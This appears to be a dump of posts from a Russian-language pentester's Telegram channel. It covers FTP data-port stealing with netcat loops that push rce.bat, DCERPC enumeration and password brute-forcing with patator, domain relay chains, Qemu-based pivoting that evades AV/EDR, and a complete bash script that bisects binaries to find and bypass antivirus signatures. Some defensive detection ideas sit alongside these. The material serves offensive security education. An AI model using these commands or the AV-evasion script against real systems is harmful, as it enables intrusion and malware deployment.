s0i37_channel

Что бы не открывать лишние порты на FTP-серверах админы могут пойти вот на что. Для наведения порядка в сетевых портах они могут настроить FTP-службу на использование в passive mode более узкого диапазона портов вплоть до одного порта, который точечно пробрасывается с DMZ на FTP-сервер. И если для проброса используется прокси или форвадр с SNAT - то такой сервер окажется сильно уязвим.

Всякий раз встретив FTP мы должны попробовать поискать его data-порт среди всех 65к портов. При нормальных условиях data-порты открываются только в момент подключения клиентов и будут практически неуловимы для нас. Но если перед нами постоянно открытый и не меняющийся tcp-порт - возможно это прокси на FTP-data (его nmap -sV должен быть пустой).
Если мы найдем такой data-порт и будем к нему постоянно подключаться while :; do nc -nv target 54321; done то в какой то момент мы начнем получать данные вместо легитимных клиентов (Confidentiality:High). А если писать туда while :; do nc -nv target 54321 < rce.bat; done, то соответственно записывать произвольный контент вместо клиентов (Integrity: High). Ну и всё это время сами клиенты не смогут получать доступ к серверу (Availability: High).

Почему так происходит? Данная атака называется port stealing и была открыта ещё в прошлом тысячелетии. Защита от неё проста - сервер должен сверять IP.src. Но если перед FTP-сервером с DMZ происходит проксирование/форвард, с подменой IP.src, тогда FTP-служба видит всех клиентов как один IP и начинает путаться в сокетах, руководствуясь лишь временем подключения.
Получается некий FTP Smuggling. Эту давно забытую уязвимость мы обнаружили на одном из проектов вместе с @levatein.

Почти всегда при пентесте внешнего периметра можно встретить FTP-сервер. Протокол FTP имеет особенность - данные он передает через другой порт, как правило случайный. И для хакера от сюда следует две вещи.
Тк FTP для данных открывает случайный порт из верхнего динамического диапазона, то часто c DMZ пробрасывают почти весь динамический диапазон портов. Куда входит и DCERPC (49152,..). Всё что доступно через MSRPC пайпы на 99% доступно и через DCERPC-транспорт. А это значит, что на этих портах можно найти и OpenSCManagerW (services.py, smbexec.py, psexec.py), и SchRpcRegisterTask/SchRpcRun/SchRpcGetLastRunInfo (atexec.py) интерфейсы и подбирать к ним пароль. В случае успеха - RCE и захват сервера, в случае неудачи - DCERPC как минимум в своём negotiation разглашает имя домена и машины.
Специально для этого я сделал pull request в patator и теперь с помощью него можно раскручивать DCERPC.
Утилиты ifmap.py, rpcmap.py и auxiliary/scanner/dcerpc/management иногда могут возвращать rpc_s_access_denied, но это не предел, и тут мы можем применить patator.py:
patator.py dcom_login host=10.0.0.15 port=49152 uuid=FILE0 0=/tmp/uuids.txt ver=FILE1 1=/tmp/vers.txt -t 1 -x ignore:code=-1 - получаем список UUID без аутентификации.
Можем сразу посмотреть, на каком порту висит "перспективный" интерфейс:
patator.py dcom_login host=10.0.0.15 port=FILE0 0=/tmp/ports.txt uuid=367abb81-9844-35f1-ad32-98f038001003 ver=2.0 -t 1 -x ignore:code=-1 - где MS-SCMR (smbexec.py)
patator.py dcom_login host=10.0.0.15 port=FILE0 0=/tmp/ports.txt uuid=86d35949-83c9-4044-b424-db363231fd0c ver=1.0 -t 1 -x ignore:code=-1 - где MS-TSCH (atexec.py)
patator.py dcom_login host=10.0.0.15 port=FILE0 0=/tmp/ports.txt uuid=12345678-1234-abcd-ef00-0123456789ab ver=1.0 -t 1 -x ignore:code=-1 - где MS-RPRN (printerbug)
patator.py dcom_login host=10.0.0.15 port=FILE0 0=/tmp/ports.txt uuid=c681d488-d850-11d0-8c52-00c04fd90f7e ver=1.0 -t 1 -x ignore:code=-1 - где MS-EFSR (petitpotam)
и т.д.
В отличие от MSRPC, DCERPC как транспорт сам по себе не требует аутентификации и недоступные по MSRPC функции могут быть доступны по DCERPC. Поэтому на каждом порту и каждом интерфейсе можно проверить наличие анонимного доступа к каждой RPC-функции вызывая её opnum по-очереди:
patator.py dcom_login host=10.0.0.15 port=49158 uuid=12345778-1234-ABCD-EF00-0123456789AB ver=0.0 opnum=FILE0 0=/tmp/opnums.txt -t 1 -x ignore:mesg=rpc_s_access_denied - везде где вернулся rpc_x_bad_stub_data или success означает возможность вызвать RPC анонимно
Пример анонимного вызова IObjectExporter::ServerAlive2(), той самой что возвращает список сетевых интерфейсов:
patator.py dcom_login host=10.0.0.15 port=135 uuid=99fcfec4-5260-101b-bbcb-00aa0021347a ver=0.0 opnum=5
И наконец сам брутфорс мы можем делать на любом интерфейсе, любом tcp-порту:
patator dcom_login host=1.2.3.4 port=49665 uuid=000001A0-0000-0000-C000-000000000046 ver=0.0 user=admin password=FILE0 0=passwords.txt -x quit:mesg=rpc_x_bad_stub_data
И еще. Иногда было замечено, что на DCERPC при аутентификации можно получать разные коды ошибок для существующих и не существующих пользователей. Тоже самое будет справедливо и для доменных учётных записей.
patator dcom_login host=1.2.3.4 port=49665 uuid=000001A0-0000-0000-C000-000000000046 ver=0.0 user=FILE0 password=1 0=logins.txt -x ignore:mesg='Unknown DCE RPC fault status code: 00000721'
Возможность user enumeration ещё сильнее упростит проведение bruteforce атаки.
Вот столько всего можно выжать из безобидно торчащего 49152/tcp порта...

Вчера дал интервью кибермедиа на тему противодействия шодану (https://securitymedia.org/info/shodan-mir-otkrytykh-portov-i-uyazvimykh-ustroystv.html). Когда то давно я уже писал про то как можно испортить сканирование портов.
1. Использовать на фаерволе правило отвечать всем SYN-ACK, тогда перед злоумышленником будет 65к открытых портов. Иногда встречаю такое при сканировании портов - неприятная штука.
2. Ну и если вы хотите в конец испортить жизнь хакерам - перенаправьте все закрытые порты в заглушку, которая шлет какой-нибудь мусор из /dev/zero. Такая техника весит service identification, и в конечном счете исчерпывает память у атакующего.

И в результате, легко обнаруживаем наглеца запустившего eaphammer. Уровень сигнала дает нам понять, как близко находится хакер.

Про очевидные рекомендации и так все знают. И поэтому я бы предложил ещё что то от себя. Я написал скрипт, который умеет детектить проведение такой атаки (https://github.com/s0i37/defence/blob/main/wifi/eap.py). Активно обороняясь от атак на WPA EAP, мы можем смотреть на четыре вещи. Первая - WPA Enterprise характерна для неподвижных устройств - корпоративных роутеров, и телефонами она как правило не раздаётся. Так что если мы в процессе мониторинга за радиоэфиром спустя длительное время вдруг услышали ещё какую то WPA Enterprise сеть это повод насторожиться. Второе - Mac-адреса. Для покрытия большой территории корпоративная сеть обычно строится из ряда роутеров, Mac-адреса которых имеют схожие октеты, хакер же со своей точкой доступа может не позаботиться о смене мака что позволит сразу увидеть аномалию. Третье - uptime. У легитимных точек он измеряется месяцами, тогда как на ноутбуке или телефоне - часами. И наконец четвертое, суть атаки - мы можем подключаться к каждой вновь услышанной WPA EAP точке и запрашивать методы аутентификации. Хакерская точка доступа имеет явное отличие - предлагаемые ею методы аутентификации идут в обратном порядке, от небезопасных к безопасным.

В прошедшие выходные выступал с докладом на ПикникИТ. Рассказывал снова про физические контактные и бесконтактные атаки. После доклада один из слушателей задал вопрос про Wi-Fi EAP. Атака на enterprise сеть одна из самых опасных для компаний и, пожалуй полностью неустранима. Главная беда этой атаки в том, что подставляют клиенты, а их контролировать достаточно сложно. На практике мне встречались сети WPA TTLS которые вроде бы на 100% не подвержены разглашению кредов, но креды прилетали все равно... Возможно дело тут в пользователях которые неправильно настроили свои устройства либо устройства ещё помнят старую уязвимую конфигурацию. И пока на клиентских устройствах будут поддерживаться GTC и MSCHAP атака будет актуальна.

Опасность наступает когда эта доменная группа находится в привилегированных локальных группах, т.е. управляет доступом.
Имена групп порою явно указывают на подверженные ПК (напр sccm admins)
А еще мы можем видеть содержимое локальных групп на удаленном компе, от обычного непривилегированного пользователя (скрин).
Видим попадание другой смешанной группы в лок админы.
И далее следует coerce + smbrelay/rpcrelay. По одиночке эти вещи не представляют угрозы, но прекрасно собираются в chain.

Во внутренних сетях, особенно больших, часто встречается коварный и неочевидный мисконфиг, через который в последнее время часто захватывается DC. Это смешанное членство доменных групп, т.е. когда в группе одновременно и пользователи и компьютеры. Увидеть такие группы достаточно легко и без шумного bloodhound (скрин).

Давно писал статью про способы легитимного удаленного выполнения кода в Windows (https://xakep.ru/2020/11/16/lateral-guide/). Добавил бы туда ещё эту небольшую шпоргалку.
Думаю будет полезно как пентестерам так и защищающимся.

В итоге мы прозрачно встаем в разрыв, развиваем атаки с аппаратной закладки от IP и MAC легитимного устройства и не мешаем работе victim. С помощью смены network namespace мы можем выбирать в какую сторону нужно слать трафик. А если мы сбриджим vpn интерфейс с соответствующим интерфейсом из нэймспейса то так мы обеспечим себе удаленный доступ.

Очевидно, что victim не должен слышать наш трафик и что бы решить проблему разграничения пакетов (своих и victim) и понимать что следует передавать дальше, а что нет, нужно как то задействовать NAT и подняться на уровень L3. Но тут есть одна проблема - victim и gw, между кем мы встаем, будут из одной подсети. А присвоить одновременно два ip-адреса разным сетевым интерфейсам из одной подсети мы не можем - роутинг ОС не сможет понимать какой пакет куда отправлять. Вот если бы мы могли использовать две независимые виртуалки...
И решение тут действительно в виртуализации, только в программной. Linux namespaces (знакомая многим по docker) позволяет создать независимый контекст со своими сетевыми настройками, роутингом, правилами iptables, arp-кэшем и даже персональными IP.TTL в каждую из сторон! И именно эта технология позволит держать на одной железке сразу два одинаковых сетевых интерфейса, между которыми можно сделать NAT. Заклинание невидимости достаточно длинное и я приложу его во вложении, а схема на фото.

Кажется мне удалось создать плащ невидимости в сети...
В своей книге (https://bhv.ru/product/hakerstvo-fizicheskie-ataki-s-ispolzovaniem-hakerskih-ustrojstv/) в 8 главе я писал про устройство, что позволяет вклиниться в разрыв по ethernet (https://xakep.ru/2023/03/23/invisible-device/). Встать в разрыв пассивно, ни чего не передавая от своего имени - достаточно просто. Но когда стоит задача при этом еще и отправлять/принимать собственные пакеты от лица victim, не разрывая при этом её подключение - это уже задача со звёздочкой.
Я всячески пытался решить эту проблему с L2 уровня с помощью мостов и прочих зеркалирований, полностью безразличных к состояниям IP/TCP. И при попытке отсылки пакетов от имени victim одновременно с зеркалированием возникают помехи от того что victim начинает получать наши TCP-ACK на что неминуемо отправляет TCP-RST.

Дихотомия vs сигнатуры антивируса.
Крошечный скрипт в 30 строчек, что используя бинарный поиск перезаписывает разные участки программы, а за тем грузит и запускает на тестовой системе. Так иногда можно найти точное расположение палевного участка и точечно обойти AV.
Все что нужно это виртуалка с подопытным антивирусом и конечно же время.

#!/bin/bash

bin="$1"
[[ $# -ge 2 ]] && o="$2" || o=0

bytes=$(wc -c $bin | cut -d ' ' -f 1)
test="/tmp/$(basename $bin)"

function test_av(){
  HOST='10.0.0.10'; CREDS='admin:password'; RUN="c:\\$(basename $1) help exit"; OUTPUT='coffee'
  { echo 'use c$'; echo "put $1"; } | smbclient.py "$CREDS@$HOST" > /dev/null
  { echo "$RUN"; echo 'exit'; } | smbexec.py -codec 866 "$CREDS@$HOST" | grep -q "$OUTPUT"
  #{ echo '{"execute": "qmp_capabilities"}'; echo '{"execute": "human-monitor-command", "arguments": {"command-line": "loadvm ready"}}' } | nc 127.0.0.1 4444 # qemu -hda av.qcow2 -qmp tcp:127.0.0.1:4444,server,nowait
  return $?
}

next=("0 $[bytes/2]" "$[bytes/2] $[bytes/2]")
n=0
while [ $n -lt ${#next[@]} ] ; do
  read offset len <<< $(echo ${next[$n]})
  [[ $n -lt $o ]] && { next+=("$[offset] $[len/2]"); next+=("$[offset+len/2] $[len/2]"); ((n++)); continue; }
  cp "$bin" "$test"
  dd if=/dev/zero of="$test" bs=1 count=$len seek=$offset conv=notrunc 2> /dev/null
  echo -ne "[*] test $bin: $offset $len (queue: $n/${#next[@]})\r"
  if test_av "$test"; then
    echo -e "\n[+] $offset $len"
    radiff2 -x "$bin" "$test" | head
  else
    next+=("$[offset] $[len/2]")
    next+=("$[offset+len/2] $[len/2]")
  fi
  ((n++))
done

Вполне может подружить не сильно страшный бинарь с не сильно страшным антивирусом.

Спасибо всем, кто меня читает за победу в "ПРЕМИЯ «КИБЕРПРОСВЕТ» CYBER MEDIA" (https://securitymedia.org/premia/index.php)!
Популяризация этичного хакинга одна из моих миссий, ведь знаниями (и кодом) надо делиться, а мир делать безопаснее.
Впереди еще много интересного о чем стоит поговорить и о чем вы узнаете только из моего канала и, конечно же, статей.

До встречи на главном киберсобытии года - Positive Hack Days fest 2 🍻💻

Подобный подход дает нам не только удобство и универсальность, но и прикрывает нас слоем эмуляции от AV/EDR. Ведь все что происходит (кроме сети) происходит внутри образа, не касаясь WINAPI.

Как не имея админских прав на victim развернуть полноценный хакерский плацдарм? И при этом избежать установок доп программ или пакетов и сделать это одинаково как на Windows так и на Linux.
Нам снова поможет эмуляция в лице Qemu, ведь он оборачивает весь гостевой трафик непривилегированными TCP/UDP сокетами хоста.
Используем заранее заготовленный миниатюрный alpine-образ с ][-тулзами на все случаи жизни. И в итоге мы всего за пару минут запускаем msf на древней XP, без прав и при работающем антивирусе.

Обладание полноценным VPN дает нам быстрое сканирование портов (в отличие от прокси), удобную полноценную маршрутизацию и возможность пробрасывать порты.
Qemu вездесущ, а значит данный способ универсален и отлично подходит для pivoting как с Windows так и с Linux хоста.
А оборачивание всех пивотинг-инструментов в образ ограждает нас от необходимости установки доп средств на victim. Даже если мы делаем сложный пивотинг с использованием dns/websocket/ssl/etc туннелей - все что нам нужно это лишь скопировать на victim портативный/статически скомпилированный qemu и образ виртуальной машины.

Многие считают что запуск вирт машины привилегированная операция. Это так с виртуализацией, но для эмуляции права не нужны. И в итоге мы имеем root внутри непривилегированной сессии.
Да это лишь трюк. Но имея root внутри мы можем запустить что угодно. Любой pivoting примитив (кроме L2) в нашем распоряжении. Так мы можем организовать себе L3 VPN-туннель не имея административных прав. На самом деле на хосте victim это L4 VPN, но для атакующего он почти ни чем не отличается от L3.

При пивотинге отсутствие прав обычно означает только возможность проксирования и проброса портов (L4 уровень). Однако технология эмуляции делает возможным создание любого L3 VPN туннеля с правами обычного пользователя. Ведь предоставление доступа в сеть с гостевой ОС по схеме NAT возможно средствами обычных непривилегированных TCP/UDP сокетов.